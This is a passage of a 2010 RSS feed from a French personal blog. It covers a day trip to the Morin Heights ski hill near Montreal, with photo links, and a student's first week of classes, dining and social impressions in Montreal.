<p>Nous sommes allés à <strong>Morin Heights</strong>, une station de ski à 1h30 de route au nord de <strong>Montréal</strong>. Nous avons escaladé tant bien que mal une piste de ski. Le terrain était boueux à cause des pluies des derniers jours. Après cette petite aventure à côté des remonte pentes, nous sommes allés faire un tour le long d&#8217;une rivière où nous avons pique-niqué. Les promeneurs étaient nombreux et beaucoup de personnes profitaient de l&#8217;accro-branche du coin.</p>
<p>Une journée bien sympathique à l&#8217;air libre loin de la ville. Il faut en profiter, la température maximale pendant la journée a dû être 14°c. </p>
<p><center></p>
<div class='media-content'>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image001.png" title="Les pistes de ski."><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image001.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image002.png" title="Vu du sommet de la colline."><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image002.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image003.png" title="Une piste plein d'arbustes."><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image003.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image004.png" title="La rivière du coin près de laquelle nous avons mangé."><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image004.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image005.png" title="De bien belles branches"><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image005.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image006.png" title="Toujours de l'eau."><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image006.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image007.png" title="Encore de l'eau."><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image007.png" alt="" /></a></p>
<p><a href="http://nobunaga.duc.free.fr/deckard/indien/image008.png" title="Un chemin non boué. Assez rare pour être signalé !"><img src="http://nobunaga.duc.free.fr/deckard/indien/th_image008.png" alt="" /></a></p>
</div>
<p></center></p>
<p>Tout ça pour dire que le ski au <strong>Canada</strong> ça ne fait pas rêver. La station est juchée sur une colline pas très haute. Ils n&#8217;ont pas de pistes rouge, verte, bleue. La signalisation est faite avec des carrés et des losanges. A côté de cette station se situe un camping assez grand. Sinon c&#8217;est le désert.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/10/03/lete-indien/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Les cours, les Québecois et les trucs cools</title>
		<link>http://www.deckard.fr/2010/09/18/les-cours-les-quebecois-et-les-trucs-cools/</link>
		<comments>http://www.deckard.fr/2010/09/18/les-cours-les-quebecois-et-les-trucs-cools/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 00:47:59 +0000</pubDate>
		<dc:creator>deckard</dc:creator>
				<category><![CDATA[Vismavie]]></category>
		<category><![CDATA[montréal]]></category>
		<category><![CDATA[québec]]></category>
		<category><![CDATA[université]]></category>

		<guid isPermaLink="false">http://wp.star-killer.net/?p=368</guid>
		<description><![CDATA[Une semaine a passé. J&#8217;ai appris beaucoup de choses et j&#8217;ai assisté à tous mes cours. Petit débriefing de la semaine, entre expérience culinaire et aventures scolaires. Tout d&#8217;abord parlons de mes petites aventures culinaires. J&#8217;ai pu tester un pub Irlandais. Bonne ambiance avec un groupe qui reprenait des gros hits comme Rage against the [...]]]></description>
			<content:encoded><![CDATA[<p>Une semaine a passé. J&#8217;ai appris beaucoup de choses et j&#8217;ai assisté à tous mes cours. Petit débriefing de la semaine, entre expérience culinaire et aventures scolaires.</p>
<p>Tout d&#8217;abord parlons de mes petites aventures culinaires. J&#8217;ai pu tester un pub <strong>Irlandais</strong>. Bonne ambiance avec un groupe qui reprenait des gros hits comme <strong>Rage against the machine</strong> (en version très calme !) et des morceaux plus pop. La bière est toujours aussi chère, une pinte de <strong>Guiness</strong> coûte dans les 8$50. Ajoutez à cela les 1$ de pourboire usuel. On n&#8217;en commande pas plusieurs ! S&#8217;en suit une petite virée dans un restaurant indien de la <strong>rue Saint Denis</strong>. Vous avez tout ce qu&#8217;il faut pour sortir dans cette rue, des bars et des restaurants. Pour les boîtes de nuit et les clubs, il faut aller un chouïa plus loin (mais vraiment un chouïa) dans la <strong>rue Laurier</strong>. C&#8217;est simple, il y avait tellement à manger pour 25$ que j&#8217;ai dû prendre un <strong>doggy bag</strong>. C&#8217;est un petit sac qui permet d&#8217;emmener chez soi ce que l&#8217;on a pas consommé. C&#8217;est tout à fait dans les mœurs. J&#8217;ai testé ensuite <strong>Les trois brasseurs</strong>. Tout le monde me dit qu&#8217;il y en a aussi en France. C&#8217;est très sympa, la musique y est un peu forte mais le choix des plats est pas mal. L&#8217;assortiment de légumes (brocolis et poivrons) a été servi avec tous les plats (même avec une choucroute !). La bière est plus abordable que chez l&#8217;Irlandais aussi.</p>
<p>Parlons maintenant de ma première semaine de cours. Je me fais assez bien au rythme de mon emploi du temps. Je commence souvent l&#8217;après-midi et je finis soit à 20h, soit à 21h30. Mon binôme tunisien me dit que les rapports de TP sont souvent très bien notés car l&#8217;encadrant ne prend pas la peine de tous les lire. De plus, les examens semblent assez faciles selon ses dires (c&#8217;est sa troisième session) car ils ne comportent que des questions de cours et pas de problèmes. Cela me semble très possible car le taux d&#8217;échec est très bas. </p>
<p>Un dernier petit mot sur mes relations avec les <strong>Québecois</strong>. J&#8217;ai deux binômes québecois pour l&#8217;instant. Le reste étant étranger ou français. Ils ne se mélangent pas du tout et même entre eux vivent entre petits clans. C&#8217;est une société très individualiste. La notion d&#8217;ami tel que nous l&#8217;entendons ne semble pas vraiment exister. Par exemple j&#8217;ai vu dans un cours un Québecois pure souche demander au professeur de lui trouver un binôme car il n&#8217;en trouvait pas. C&#8217;était pourtant un mec qui faisait partie d&#8217;un gros club d&#8217;informatique, bref quelqu&#8217;un de sûrement très compétent. Et aucun Québecois ne s&#8217;est mis avec lui. Il se retrouve donc avec un tunisien de 40 berges. De la même façon, il n&#8217;est pas rare de voir des gens seuls manger au restaurant ou aller au bar. C&#8217;est très bizarre. Et si tu ne fais pas partie d&#8217;un groupe, tu ne t&#8217;insères pas comme ça. Il n&#8217;existe pas de notion d&#8217;esprit de promotion comme on en voit en <strong>France</strong> ou de camaraderie. Ceci est sûrement renforcé par le fait qu&#8217;il y ait beaucoup de personnes qui travaillent ou qui sont assez âgées dans mes cours. Ce n&#8217;est peut être pas vrai pour les niveaux d&#8217;études inférieurs.</p>
<p>Bientôt des articles techniques. J&#8217;ai un sujet de TP sur <strong>JavaMe</strong> pour des cibles <strong>BlackBerry</strong>. Cela semble, à défaut d&#8217;être très utile, assez rigolo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.deckard.fr/2010/09/18/les-cours-les-quebecois-et-les-trucs-cools/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.913 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-02-19 11:02:01 -->
<!-- Compression = gzip -->
